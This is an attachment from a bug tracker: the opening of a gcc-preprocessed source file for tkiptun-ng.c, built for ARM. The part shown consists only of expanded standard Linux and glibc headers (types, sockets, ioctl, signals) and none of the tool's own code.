preprocessed source

o.c (text/x-csrc), 391.29 KB, created by Dmitry on 2013-12-22 16:55:02 UTC

# 1 "tkiptun-ng.c"
# 1 "<command-line>"
# 1 "tkiptun-ng.c"
# 38 "tkiptun-ng.c"
# 1 "/usr/include/linux/rtc.h" 1 3 4
# 20 "/usr/include/linux/rtc.h" 3 4
struct rtc_time {
 int tm_sec;
 int tm_min;
 int tm_hour;
 int tm_mday;
 int tm_mon;
 int tm_year;
 int tm_wday;
 int tm_yday;
 int tm_isdst;
};





struct rtc_wkalrm {
 unsigned char enabled;
 unsigned char pending;
 struct rtc_time time;
};
# 55 "/usr/include/linux/rtc.h" 3 4
struct rtc_pll_info {
 int pll_ctrl;
 int pll_value;
 int pll_max;
 int pll_min;
 int pll_posmult;
 int pll_negmult;
 long pll_clock;
};
# 39 "tkiptun-ng.c" 2


# 1 "/usr/include/sys/types.h" 1 3 4
# 26 "/usr/include/sys/types.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
# 358 "/usr/include/features.h" 3 4
# 1 "/usr/include/sys/cdefs.h" 1 3 4
# 378 "/usr/include/sys/cdefs.h" 3 4
# 1 "/usr/include/bits/wordsize.h" 1 3 4
# 379 "/usr/include/sys/cdefs.h" 2 3 4
# 359 "/usr/include/features.h" 2 3 4
# 382 "/usr/include/features.h" 3 4
# 1 "/usr/include/gnu/stubs.h" 1 3 4
# 383 "/usr/include/features.h" 2 3 4
# 27 "/usr/include/sys/types.h" 2 3 4



# 1 "/usr/include/bits/types.h" 1 3 4
# 28 "/usr/include/bits/types.h" 3 4
# 1 "/usr/include/bits/wordsize.h" 1 3 4
# 29 "/usr/include/bits/types.h" 2 3 4


typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;


typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef signed short int __int16_t;
typedef unsigned short int __uint16_t;
typedef signed int __int32_t;
typedef unsigned int __uint32_t;




__extension__ typedef signed long long int __int64_t;
__extension__ typedef unsigned long long int __uint64_t;







__extension__ typedef long long int __quad_t;
__extension__ typedef unsigned long long int __u_quad_t;
# 131 "/usr/include/bits/types.h" 3 4
# 1 "/usr/include/bits/typesizes.h" 1 3 4
# 132 "/usr/include/bits/types.h" 2 3 4


__extension__ typedef __u_quad_t __dev_t;
__extension__ typedef unsigned int __uid_t;
__extension__ typedef unsigned int __gid_t;
__extension__ typedef unsigned long int __ino_t;
__extension__ typedef __u_quad_t __ino64_t;
__extension__ typedef unsigned int __mode_t;
__extension__ typedef unsigned int __nlink_t;
__extension__ typedef long int __off_t;
__extension__ typedef __quad_t __off64_t;
__extension__ typedef int __pid_t;
__extension__ typedef struct { int __val[2]; } __fsid_t;
__extension__ typedef long int __clock_t;
__extension__ typedef unsigned long int __rlim_t;
__extension__ typedef __u_quad_t __rlim64_t;
__extension__ typedef unsigned int __id_t;
__extension__ typedef long int __time_t;
__extension__ typedef unsigned int __useconds_t;
__extension__ typedef long int __suseconds_t;

__extension__ typedef int __daddr_t;
__extension__ typedef long int __swblk_t;
__extension__ typedef int __key_t;


__extension__ typedef int __clockid_t;


__extension__ typedef void * __timer_t;


__extension__ typedef long int __blksize_t;




__extension__ typedef long int __blkcnt_t;
__extension__ typedef __quad_t __blkcnt64_t;


__extension__ typedef unsigned long int __fsblkcnt_t;
__extension__ typedef __u_quad_t __fsblkcnt64_t;


__extension__ typedef unsigned long int __fsfilcnt_t;
__extension__ typedef __u_quad_t __fsfilcnt64_t;

__extension__ typedef int __ssize_t;



typedef __off64_t __loff_t;
typedef __quad_t *__qaddr_t;
typedef char *__caddr_t;


__extension__ typedef int __intptr_t;


__extension__ typedef unsigned int __socklen_t;
# 31 "/usr/include/sys/types.h" 2 3 4



typedef __u_char u_char;
typedef __u_short u_short;
typedef __u_int u_int;
typedef __u_long u_long;
typedef __quad_t quad_t;
typedef __u_quad_t u_quad_t;
typedef __fsid_t fsid_t;




typedef __loff_t loff_t;





typedef __ino64_t ino_t;
# 61 "/usr/include/sys/types.h" 3 4
typedef __dev_t dev_t;




typedef __gid_t gid_t;




typedef __mode_t mode_t;




typedef __nlink_t nlink_t;




typedef __uid_t uid_t;







typedef __off64_t off_t;
# 99 "/usr/include/sys/types.h" 3 4
typedef __pid_t pid_t;





typedef __id_t id_t;




typedef __ssize_t ssize_t;





typedef __daddr_t daddr_t;
typedef __caddr_t caddr_t;





typedef __key_t key_t;
# 133 "/usr/include/sys/types.h" 3 4
# 1 "/usr/include/time.h" 1 3 4
# 58 "/usr/include/time.h" 3 4


typedef __clock_t clock_t;



# 74 "/usr/include/time.h" 3 4


typedef __time_t time_t;



# 92 "/usr/include/time.h" 3 4
typedef __clockid_t clockid_t;
# 104 "/usr/include/time.h" 3 4
typedef __timer_t timer_t;
# 134 "/usr/include/sys/types.h" 2 3 4
# 147 "/usr/include/sys/types.h" 3 4
# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 213 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 3 4
typedef unsigned int size_t;
# 148 "/usr/include/sys/types.h" 2 3 4



typedef unsigned long int ulong;
typedef unsigned short int ushort;
typedef unsigned int uint;
# 195 "/usr/include/sys/types.h" 3 4
typedef int int8_t __attribute__ ((__mode__ (__QI__)));
typedef int int16_t __attribute__ ((__mode__ (__HI__)));
typedef int int32_t __attribute__ ((__mode__ (__SI__)));
typedef int int64_t __attribute__ ((__mode__ (__DI__)));


typedef unsigned int u_int8_t __attribute__ ((__mode__ (__QI__)));
typedef unsigned int u_int16_t __attribute__ ((__mode__ (__HI__)));
typedef unsigned int u_int32_t __attribute__ ((__mode__ (__SI__)));
typedef unsigned int u_int64_t __attribute__ ((__mode__ (__DI__)));

typedef int register_t __attribute__ ((__mode__ (__word__)));
# 217 "/usr/include/sys/types.h" 3 4
# 1 "/usr/include/endian.h" 1 3 4
# 37 "/usr/include/endian.h" 3 4
# 1 "/usr/include/bits/endian.h" 1 3 4
# 38 "/usr/include/endian.h" 2 3 4
# 61 "/usr/include/endian.h" 3 4
# 1 "/usr/include/bits/byteswap.h" 1 3 4
# 62 "/usr/include/endian.h" 2 3 4
# 218 "/usr/include/sys/types.h" 2 3 4


# 1 "/usr/include/sys/select.h" 1 3 4
# 31 "/usr/include/sys/select.h" 3 4
# 1 "/usr/include/bits/select.h" 1 3 4
# 32 "/usr/include/sys/select.h" 2 3 4


# 1 "/usr/include/bits/sigset.h" 1 3 4
# 24 "/usr/include/bits/sigset.h" 3 4
typedef int __sig_atomic_t;




typedef struct
  {
    unsigned long int __val[(1024 / (8 * sizeof (unsigned long int)))];
  } __sigset_t;
# 35 "/usr/include/sys/select.h" 2 3 4



typedef __sigset_t sigset_t;





# 1 "/usr/include/time.h" 1 3 4
# 120 "/usr/include/time.h" 3 4
struct timespec
  {
    __time_t tv_sec;
    long int tv_nsec;
  };
# 45 "/usr/include/sys/select.h" 2 3 4

# 1 "/usr/include/bits/time.h" 1 3 4
# 31 "/usr/include/bits/time.h" 3 4
struct timeval
  {
    __time_t tv_sec;
    __suseconds_t tv_usec;
  };
# 47 "/usr/include/sys/select.h" 2 3 4


typedef __suseconds_t suseconds_t;





typedef long int __fd_mask;
# 65 "/usr/include/sys/select.h" 3 4
typedef struct
  {






    __fd_mask __fds_bits[1024 / (8 * (int) sizeof (__fd_mask))];


  } fd_set;






typedef __fd_mask fd_mask;
# 97 "/usr/include/sys/select.h" 3 4

# 107 "/usr/include/sys/select.h" 3 4
extern int select (int __nfds, fd_set *__restrict __readfds,
     fd_set *__restrict __writefds,
     fd_set *__restrict __exceptfds,
     struct timeval *__restrict __timeout);
# 119 "/usr/include/sys/select.h" 3 4
extern int pselect (int __nfds, fd_set *__restrict __readfds,
      fd_set *__restrict __writefds,
      fd_set *__restrict __exceptfds,
      const struct timespec *__restrict __timeout,
      const __sigset_t *__restrict __sigmask);





# 1 "/usr/include/bits/select2.h" 1 3 4
# 25 "/usr/include/bits/select2.h" 3 4
extern long int __fdelt_chk (long int __d);
extern long int __fdelt_warn (long int __d)
  __attribute__((__warning__ ("bit outside of fd_set selected")));
# 130 "/usr/include/sys/select.h" 2 3 4



# 221 "/usr/include/sys/types.h" 2 3 4


# 1 "/usr/include/sys/sysmacros.h" 1 3 4
# 30 "/usr/include/sys/sysmacros.h" 3 4


__extension__
extern unsigned int gnu_dev_major (unsigned long long int __dev)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
__extension__
extern unsigned int gnu_dev_minor (unsigned long long int __dev)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
__extension__
extern unsigned long long int gnu_dev_makedev (unsigned int __major,
            unsigned int __minor)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));


__extension__ extern __inline __attribute__ ((__const__)) unsigned int
__attribute__ ((__nothrow__ , __leaf__)) gnu_dev_major (unsigned long long int __dev)
{
  return ((__dev >> 8) & 0xfff) | ((unsigned int) (__dev >> 32) & ~0xfff);
}

__extension__ extern __inline __attribute__ ((__const__)) unsigned int
__attribute__ ((__nothrow__ , __leaf__)) gnu_dev_minor (unsigned long long int __dev)
{
  return (__dev & 0xff) | ((unsigned int) (__dev >> 12) & ~0xff);
}

__extension__ extern __inline __attribute__ ((__const__)) unsigned long long int
__attribute__ ((__nothrow__ , __leaf__)) gnu_dev_makedev (unsigned int __major, unsigned int __minor)
{
  return ((__minor & 0xff) | ((__major & 0xfff) << 8)
   | (((unsigned long long int) (__minor & ~0xff)) << 12)
   | (((unsigned long long int) (__major & ~0xfff)) << 32));
}


# 224 "/usr/include/sys/types.h" 2 3 4





typedef __blksize_t blksize_t;
# 249 "/usr/include/sys/types.h" 3 4
typedef __blkcnt64_t blkcnt_t;



typedef __fsblkcnt64_t fsblkcnt_t;



typedef __fsfilcnt64_t fsfilcnt_t;
# 271 "/usr/include/sys/types.h" 3 4
# 1 "/usr/include/bits/pthreadtypes.h" 1 3 4
# 38 "/usr/include/bits/pthreadtypes.h" 3 4
typedef unsigned long int pthread_t;


typedef union
{
  char __size[36];
  long int __align;
} pthread_attr_t;


typedef struct __pthread_internal_slist
{
  struct __pthread_internal_slist *__next;
} __pthread_slist_t;




typedef union
{
  struct __pthread_mutex_s
  {
    int __lock;
    unsigned int __count;
    int __owner;


    int __kind;
    unsigned int __nusers;
    __extension__ union
    {
      int __spins;
      __pthread_slist_t __list;
    };
  } __data;
  char __size[24];
  long int __align;
} pthread_mutex_t;

typedef union
{
  char __size[4];
  long int __align;
} pthread_mutexattr_t;




typedef union
{
  struct
  {
    int __lock;
    unsigned int __futex;
    __extension__ unsigned long long int __total_seq;
    __extension__ unsigned long long int __wakeup_seq;
    __extension__ unsigned long long int __woken_seq;
    void *__mutex;
    unsigned int __nwaiters;
    unsigned int __broadcast_seq;
  } __data;
  char __size[48];
  __extension__ long long int __align;
} pthread_cond_t;

typedef union
{
  char __size[4];
  long int __align;
} pthread_condattr_t;



typedef unsigned int pthread_key_t;



typedef int pthread_once_t;





typedef union
{
  struct
  {
    int __lock;
    unsigned int __nr_readers;
    unsigned int __readers_wakeup;
    unsigned int __writer_wakeup;
    unsigned int __nr_readers_queued;
    unsigned int __nr_writers_queued;
# 141 "/usr/include/bits/pthreadtypes.h" 3 4
    unsigned char __flags;
    unsigned char __shared;
    unsigned char __pad1;
    unsigned char __pad2;

    int __writer;
  } __data;
  char __size[32];
  long int __align;
} pthread_rwlock_t;

typedef union
{
  char __size[8];
  long int __align;
} pthread_rwlockattr_t;





typedef volatile int pthread_spinlock_t;




typedef union
{
  char __size[20];
  long int __align;
} pthread_barrier_t;

typedef union
{
  char __size[4];
  int __align;
} pthread_barrierattr_t;
# 272 "/usr/include/sys/types.h" 2 3 4



# 42 "tkiptun-ng.c" 2
# 1 "/usr/include/sys/socket.h" 1 3 4
# 26 "/usr/include/sys/socket.h" 3 4


# 1 "/usr/include/sys/uio.h" 1 3 4
# 26 "/usr/include/sys/uio.h" 3 4



# 1 "/usr/include/bits/uio.h" 1 3 4
# 44 "/usr/include/bits/uio.h" 3 4
struct iovec
  {
    void *iov_base;
    size_t iov_len;
  };









extern ssize_t process_vm_readv (pid_t __pid, __const struct iovec *__lvec,
     unsigned long int __liovcnt,
     __const struct iovec *__rvec,
     unsigned long int __riovcnt,
     unsigned long int __flags)
  __attribute__ ((__nothrow__ , __leaf__));


extern ssize_t process_vm_writev (pid_t __pid, __const struct iovec *__lvec,
      unsigned long int __liovcnt,
      __const struct iovec *__rvec,
      unsigned long int __riovcnt,
      unsigned long int __flags)
  __attribute__ ((__nothrow__ , __leaf__));


# 30 "/usr/include/sys/uio.h" 2 3 4
# 40 "/usr/include/sys/uio.h" 3 4
extern ssize_t readv (int __fd, __const struct iovec *__iovec, int __count)
  __attribute__ ((__warn_unused_result__));
# 51 "/usr/include/sys/uio.h" 3 4
extern ssize_t writev (int __fd, __const struct iovec *__iovec, int __count)
  __attribute__ ((__warn_unused_result__));
# 82 "/usr/include/sys/uio.h" 3 4
extern ssize_t preadv (int __fd, __const struct iovec *__iovec, int __count, __off64_t __offset) __asm__ ("" "preadv64")

                __attribute__ ((__warn_unused_result__));
extern ssize_t pwritev (int __fd, __const struct iovec *__iovec, int __count, __off64_t __offset) __asm__ ("" "pwritev64")

                 __attribute__ ((__warn_unused_result__));
# 121 "/usr/include/sys/uio.h" 3 4

# 29 "/usr/include/sys/socket.h" 2 3 4

# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 31 "/usr/include/sys/socket.h" 2 3 4
# 40 "/usr/include/sys/socket.h" 3 4
# 1 "/usr/include/bits/socket.h" 1 3 4
# 29 "/usr/include/bits/socket.h" 3 4
# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 30 "/usr/include/bits/socket.h" 2 3 4





typedef __socklen_t socklen_t;




enum __socket_type
{
  SOCK_STREAM = 1,


  SOCK_DGRAM = 2,


  SOCK_RAW = 3,

  SOCK_RDM = 4,

  SOCK_SEQPACKET = 5,


  SOCK_DCCP = 6,

  SOCK_PACKET = 10,







  SOCK_CLOEXEC = 02000000,


  SOCK_NONBLOCK = 04000


};
# 177 "/usr/include/bits/socket.h" 3 4
# 1 "/usr/include/bits/sockaddr.h" 1 3 4
# 29 "/usr/include/bits/sockaddr.h" 3 4
typedef unsigned short int sa_family_t;
# 178 "/usr/include/bits/socket.h" 2 3 4


struct sockaddr
  {
    sa_family_t sa_family;
    char sa_data[14];
  };
# 193 "/usr/include/bits/socket.h" 3 4
struct sockaddr_storage
  {
    sa_family_t ss_family;
    unsigned long int __ss_align;
    char __ss_padding[(128 - (2 * sizeof (unsigned long int)))];
  };



enum
  {
    MSG_OOB = 0x01,

    MSG_PEEK = 0x02,

    MSG_DONTROUTE = 0x04,






    MSG_CTRUNC = 0x08,

    MSG_PROXY = 0x10,

    MSG_TRUNC = 0x20,

    MSG_DONTWAIT = 0x40,

    MSG_EOR = 0x80,

    MSG_WAITALL = 0x100,

    MSG_FIN = 0x200,

    MSG_SYN = 0x400,

    MSG_CONFIRM = 0x800,

    MSG_RST = 0x1000,

    MSG_ERRQUEUE = 0x2000,

    MSG_NOSIGNAL = 0x4000,

    MSG_MORE = 0x8000,

    MSG_WAITFORONE = 0x10000,


    MSG_CMSG_CLOEXEC = 0x40000000



  };




struct msghdr
  {
    void *msg_name;
    socklen_t msg_namelen;

    struct iovec *msg_iov;
    size_t msg_iovlen;

    void *msg_control;
    size_t msg_controllen;




    int msg_flags;
  };
# 280 "/usr/include/bits/socket.h" 3 4
struct cmsghdr
  {
    size_t cmsg_len;




    int cmsg_level;
    int cmsg_type;

    __extension__ unsigned char __cmsg_data [];

  };
# 310 "/usr/include/bits/socket.h" 3 4
extern struct cmsghdr *__cmsg_nxthdr (struct msghdr *__mhdr,
          struct cmsghdr *__cmsg) __attribute__ ((__nothrow__ , __leaf__));




extern __inline struct cmsghdr *
__attribute__ ((__nothrow__ , __leaf__)) __cmsg_nxthdr (struct msghdr *__mhdr, struct cmsghdr *__cmsg)
{
  if ((size_t) __cmsg->cmsg_len < sizeof (struct cmsghdr))

    return (struct cmsghdr *) 0;

  __cmsg = (struct cmsghdr *) ((unsigned char *) __cmsg
          + (((__cmsg->cmsg_len) + sizeof (size_t) - 1) & (size_t) ~(sizeof (size_t) - 1)));
  if ((unsigned char *) (__cmsg + 1) > ((unsigned char *) __mhdr->msg_control
     + __mhdr->msg_controllen)
      || ((unsigned char *) __cmsg + (((__cmsg->cmsg_len) + sizeof (size_t) - 1) & (size_t) ~(sizeof (size_t) - 1))
   > ((unsigned char *) __mhdr->msg_control + __mhdr->msg_controllen)))

    return (struct cmsghdr *) 0;
  return __cmsg;
}




enum
  {
    SCM_RIGHTS = 0x01





  };
# 383 "/usr/include/bits/socket.h" 3 4
# 1 "/usr/include/asm/socket.h" 1 3 4
# 1 "/usr/include/asm-generic/socket.h" 1 3 4



# 1 "/usr/include/asm/sockios.h" 1 3 4
# 1 "/usr/include/asm-generic/sockios.h" 1 3 4
# 1 "/usr/include/asm/sockios.h" 2 3 4
# 5 "/usr/include/asm-generic/socket.h" 2 3 4
# 1 "/usr/include/asm/socket.h" 2 3 4
# 384 "/usr/include/bits/socket.h" 2 3 4
# 417 "/usr/include/bits/socket.h" 3 4
struct linger
  {
    int l_onoff;
    int l_linger;
  };









extern int recvmmsg (int __fd, struct mmsghdr *__vmessages,
       unsigned int __vlen, int __flags,
       __const struct timespec *__tmo);





extern int sendmmsg (int __fd, struct mmsghdr *__vmessages,
       unsigned int __vlen, int __flags);


# 41 "/usr/include/sys/socket.h" 2 3 4




struct osockaddr
  {
    unsigned short int sa_family;
    unsigned char sa_data[14];
  };




enum
{
  SHUT_RD = 0,

  SHUT_WR,

  SHUT_RDWR

};
# 105 "/usr/include/sys/socket.h" 3 4
extern int socket (int __domain, int __type, int __protocol) __attribute__ ((__nothrow__ , __leaf__));





extern int socketpair (int __domain, int __type, int __protocol,
         int __fds[2]) __attribute__ ((__nothrow__ , __leaf__));


extern int bind (int __fd, __const struct sockaddr * __addr, socklen_t __len)
     __attribute__ ((__nothrow__ , __leaf__));


extern int getsockname (int __fd, struct sockaddr *__restrict __addr,
   socklen_t *__restrict __len) __attribute__ ((__nothrow__ , __leaf__));
# 129 "/usr/include/sys/socket.h" 3 4
extern int connect (int __fd, __const struct sockaddr * __addr, socklen_t __len);



extern int getpeername (int __fd, struct sockaddr *__restrict __addr,
   socklen_t *__restrict __len) __attribute__ ((__nothrow__ , __leaf__));






extern ssize_t send (int __fd, __const void *__buf, size_t __n, int __flags);






extern ssize_t recv (int __fd, void *__buf, size_t __n, int __flags);






extern ssize_t sendto (int __fd, __const void *__buf, size_t __n,
         int __flags, __const struct sockaddr * __addr,
         socklen_t __addr_len);
# 166 "/usr/include/sys/socket.h" 3 4
extern ssize_t recvfrom (int __fd, void *__restrict __buf, size_t __n,
    int __flags, struct sockaddr *__restrict __addr,
    socklen_t *__restrict __addr_len);







extern ssize_t sendmsg (int __fd, __const struct msghdr *__message,
   int __flags);






extern ssize_t recvmsg (int __fd, struct msghdr *__message, int __flags);





extern int getsockopt (int __fd, int __level, int __optname,
         void *__restrict __optval,
         socklen_t *__restrict __optlen) __attribute__ ((__nothrow__ , __leaf__));




extern int setsockopt (int __fd, int __level, int __optname,
         __const void *__optval, socklen_t __optlen) __attribute__ ((__nothrow__ , __leaf__));





extern int listen (int __fd, int __n) __attribute__ ((__nothrow__ , __leaf__));
# 214 "/usr/include/sys/socket.h" 3 4
extern int accept (int __fd, struct sockaddr *__restrict __addr,
     socklen_t *__restrict __addr_len);
# 232 "/usr/include/sys/socket.h" 3 4
extern int shutdown (int __fd, int __how) __attribute__ ((__nothrow__ , __leaf__));




extern int sockatmark (int __fd) __attribute__ ((__nothrow__ , __leaf__));







extern int isfdtype (int __fd, int __fdtype) __attribute__ ((__nothrow__ , __leaf__));





# 1 "/usr/include/bits/socket2.h" 1 3 4
# 24 "/usr/include/bits/socket2.h" 3 4
extern ssize_t __recv_chk (int __fd, void *__buf, size_t __n, size_t __buflen,
      int __flags);
extern ssize_t __recv_alias (int __fd, void *__buf, size_t __n, int __flags) __asm__ ("" "recv")
                          ;
extern ssize_t __recv_chk_warn (int __fd, void *__buf, size_t __n, size_t __buflen, int __flags) __asm__ ("" "__recv_chk")


     __attribute__((__warning__ ("recv called with bigger length than size of destination " "buffer")))
            ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) ssize_t
recv (int __fd, void *__buf, size_t __n, int __flags)
{
  if (__builtin_object_size (__buf, 0) != (size_t) -1)
    {
      if (!__builtin_constant_p (__n))
 return __recv_chk (__fd, __buf, __n, __builtin_object_size (__buf, 0), __flags);

      if (__n > __builtin_object_size (__buf, 0))
 return __recv_chk_warn (__fd, __buf, __n, __builtin_object_size (__buf, 0), __flags);
    }
  return __recv_alias (__fd, __buf, __n, __flags);
}

extern ssize_t __recvfrom_chk (int __fd, void *__restrict __buf, size_t __n,
          size_t __buflen, int __flags,
          struct sockaddr *__restrict __addr,
          socklen_t *__restrict __addr_len);
extern ssize_t __recvfrom_alias (int __fd, void *__restrict __buf, size_t __n, int __flags, struct sockaddr *__restrict __addr, socklen_t *__restrict __addr_len) __asm__ ("" "recvfrom")


                                                   ;
extern ssize_t __recvfrom_chk_warn (int __fd, void *__restrict __buf, size_t __n, size_t __buflen, int __flags, struct sockaddr *__restrict __addr, socklen_t *__restrict __addr_len) __asm__ ("" "__recvfrom_chk")




     __attribute__((__warning__ ("recvfrom called with bigger length than size of " "destination buffer")))
                        ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) ssize_t
recvfrom (int __fd, void *__restrict __buf, size_t __n, int __flags,
   struct sockaddr *__restrict __addr, socklen_t *__restrict __addr_len)
{
  if (__builtin_object_size (__buf, 0) != (size_t) -1)
    {
      if (!__builtin_constant_p (__n))
 return __recvfrom_chk (__fd, __buf, __n, __builtin_object_size (__buf, 0), __flags,
          __addr, __addr_len);
      if (__n > __builtin_object_size (__buf, 0))
 return __recvfrom_chk_warn (__fd, __buf, __n, __builtin_object_size (__buf, 0), __flags,
        __addr, __addr_len);
    }
  return __recvfrom_alias (__fd, __buf, __n, __flags, __addr, __addr_len);
}
# 252 "/usr/include/sys/socket.h" 2 3 4



# 43 "tkiptun-ng.c" 2
# 1 "/usr/include/sys/ioctl.h" 1 3 4
# 24 "/usr/include/sys/ioctl.h" 3 4



# 1 "/usr/include/bits/ioctls.h" 1 3 4
# 24 "/usr/include/bits/ioctls.h" 3 4
# 1 "/usr/include/asm/ioctls.h" 1 3 4





# 1 "/usr/include/asm-generic/ioctls.h" 1 3 4



# 1 "/usr/include/linux/ioctl.h" 1 3 4



# 1 "/usr/include/asm/ioctl.h" 1 3 4
# 1 "/usr/include/asm-generic/ioctl.h" 1 3 4
# 1 "/usr/include/asm/ioctl.h" 2 3 4
# 5 "/usr/include/linux/ioctl.h" 2 3 4
# 5 "/usr/include/asm-generic/ioctls.h" 2 3 4
# 7 "/usr/include/asm/ioctls.h" 2 3 4
# 25 "/usr/include/bits/ioctls.h" 2 3 4
# 28 "/usr/include/sys/ioctl.h" 2 3 4


# 1 "/usr/include/bits/ioctl-types.h" 1 3 4
# 28 "/usr/include/bits/ioctl-types.h" 3 4
struct winsize
  {
    unsigned short int ws_row;
    unsigned short int ws_col;
    unsigned short int ws_xpixel;
    unsigned short int ws_ypixel;
  };


struct termio
  {
    unsigned short int c_iflag;
    unsigned short int c_oflag;
    unsigned short int c_cflag;
    unsigned short int c_lflag;
    unsigned char c_line;
    unsigned char c_cc[8];
};
# 31 "/usr/include/sys/ioctl.h" 2 3 4






# 1 "/usr/include/sys/ttydefaults.h" 1 3 4
# 38 "/usr/include/sys/ioctl.h" 2 3 4




extern int ioctl (int __fd, unsigned long int __request, ...) __attribute__ ((__nothrow__ , __leaf__));


# 44 "tkiptun-ng.c" 2
# 1 "/usr/include/sys/wait.h" 1 3 4
# 29 "/usr/include/sys/wait.h" 3 4


# 1 "/usr/include/signal.h" 1 3 4
# 31 "/usr/include/signal.h" 3 4


# 1 "/usr/include/bits/sigset.h" 1 3 4
# 104 "/usr/include/bits/sigset.h" 3 4
extern int __sigismember (__const __sigset_t *, int);
extern int __sigaddset (__sigset_t *, int);
extern int __sigdelset (__sigset_t *, int);
# 118 "/usr/include/bits/sigset.h" 3 4
extern __inline int __sigismember (__const __sigset_t *__set, int __sig) { unsigned long int __mask = (((unsigned long int) 1) << (((__sig) - 1) % (8 * sizeof (unsigned long int)))); unsigned long int __word = (((__sig) - 1) / (8 * sizeof (unsigned long int))); return (__set->__val[__word] & __mask) ? 1 : 0; }
extern __inline int __sigaddset ( __sigset_t *__set, int __sig) { unsigned long int __mask = (((unsigned long int) 1) << (((__sig) - 1) % (8 * sizeof (unsigned long int)))); unsigned long int __word = (((__sig) - 1) / (8 * sizeof (unsigned long int))); return ((__set->__val[__word] |= __mask), 0); }
extern __inline int __sigdelset ( __sigset_t *__set, int __sig) { unsigned long int __mask = (((unsigned long int) 1) << (((__sig) - 1) % (8 * sizeof (unsigned long int)))); unsigned long int __word = (((__sig) - 1) / (8 * sizeof (unsigned long int))); return ((__set->__val[__word] &= ~__mask), 0); }
# 34 "/usr/include/signal.h" 2 3 4







typedef __sig_atomic_t sig_atomic_t;

# 58 "/usr/include/signal.h" 3 4
# 1 "/usr/include/bits/signum.h" 1 3 4
# 59 "/usr/include/signal.h" 2 3 4
# 76 "/usr/include/signal.h" 3 4
# 1 "/usr/include/time.h" 1 3 4
# 77 "/usr/include/signal.h" 2 3 4


# 1 "/usr/include/bits/siginfo.h" 1 3 4
# 25 "/usr/include/bits/siginfo.h" 3 4
# 1 "/usr/include/bits/wordsize.h" 1 3 4
# 26 "/usr/include/bits/siginfo.h" 2 3 4







typedef union sigval
  {
    int sival_int;
    void *sival_ptr;
  } sigval_t;
# 51 "/usr/include/bits/siginfo.h" 3 4
typedef struct siginfo
  {
    int si_signo;
    int si_errno;

    int si_code;

    union
      {
 int _pad[((128 / sizeof (int)) - 3)];


 struct
   {
     __pid_t si_pid;
     __uid_t si_uid;
   } _kill;


 struct
   {
     int si_tid;
     int si_overrun;
     sigval_t si_sigval;
   } _timer;


 struct
   {
     __pid_t si_pid;
     __uid_t si_uid;
     sigval_t si_sigval;
   } _rt;


 struct
   {
     __pid_t si_pid;
     __uid_t si_uid;
     int si_status;
     __clock_t si_utime;
     __clock_t si_stime;
   } _sigchld;


 struct
   {
     void *si_addr;
   } _sigfault;


 struct
   {
     long int si_band;
     int si_fd;
   } _sigpoll;
      } _sifields;
  } siginfo_t;
# 129 "/usr/include/bits/siginfo.h" 3 4
enum
{
  SI_ASYNCNL = -60,

  SI_TKILL = -6,

  SI_SIGIO,

  SI_ASYNCIO,

  SI_MESGQ,

  SI_TIMER,

  SI_QUEUE,

  SI_USER,

  SI_KERNEL = 0x80

};



enum
{
  ILL_ILLOPC = 1,

  ILL_ILLOPN,

  ILL_ILLADR,

  ILL_ILLTRP,

  ILL_PRVOPC,

  ILL_PRVREG,

  ILL_COPROC,

  ILL_BADSTK

};


enum
{
  FPE_INTDIV = 1,

  FPE_INTOVF,

  FPE_FLTDIV,

  FPE_FLTOVF,

  FPE_FLTUND,

  FPE_FLTRES,

  FPE_FLTINV,

  FPE_FLTSUB

};


enum
{
  SEGV_MAPERR = 1,

  SEGV_ACCERR

};


enum
{
  BUS_ADRALN = 1,

  BUS_ADRERR,

  BUS_OBJERR

};


enum
{
  TRAP_BRKPT = 1,

  TRAP_TRACE

};


enum
{
  CLD_EXITED = 1,

  CLD_KILLED,

  CLD_DUMPED,

  CLD_TRAPPED,

  CLD_STOPPED,

  CLD_CONTINUED

};


enum
{
  POLL_IN = 1,

  POLL_OUT,

  POLL_MSG,

  POLL_ERR,

  POLL_PRI,

  POLL_HUP

};
# 273 "/usr/include/bits/siginfo.h" 3 4
typedef struct sigevent
  {
    sigval_t sigev_value;
    int sigev_signo;
    int sigev_notify;

    union
      {
 int _pad[((64 / sizeof (int)) - 3)];



 __pid_t _tid;

 struct
   {
     void (*_function) (sigval_t);
     void *_attribute;
   } _sigev_thread;
      } _sigev_un;
  } sigevent_t;






enum
{
  SIGEV_SIGNAL = 0,

  SIGEV_NONE,

  SIGEV_THREAD,


  SIGEV_THREAD_ID = 4

};
# 80 "/usr/include/signal.h" 2 3 4




typedef void (*__sighandler_t) (int);




extern __sighandler_t __sysv_signal (int __sig, __sighandler_t __handler)
     __attribute__ ((__nothrow__ , __leaf__));
# 99 "/usr/include/signal.h" 3 4


extern __sighandler_t signal (int __sig, __sighandler_t __handler)
     __attribute__ ((__nothrow__ , __leaf__));
# 113 "/usr/include/signal.h" 3 4

# 126 "/usr/include/signal.h" 3 4
extern int kill (__pid_t __pid, int __sig) __attribute__ ((__nothrow__ , __leaf__));






extern int killpg (__pid_t __pgrp, int __sig) __attribute__ ((__nothrow__ , __leaf__));




extern int raise (int __sig) __attribute__ ((__nothrow__ , __leaf__));




extern __sighandler_t ssignal (int __sig, __sighandler_t __handler)
     __attribute__ ((__nothrow__ , __leaf__));
extern int gsignal (int __sig) __attribute__ ((__nothrow__ , __leaf__));




extern void psignal (int __sig, __const char *__s);




extern void psiginfo (__const siginfo_t *__pinfo, __const char *__s);
# 168 "/usr/include/signal.h" 3 4
extern int __sigpause (int __sig_or_mask, int __is_sig);
# 196 "/usr/include/signal.h" 3 4
extern int sigblock (int __mask) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__deprecated__));

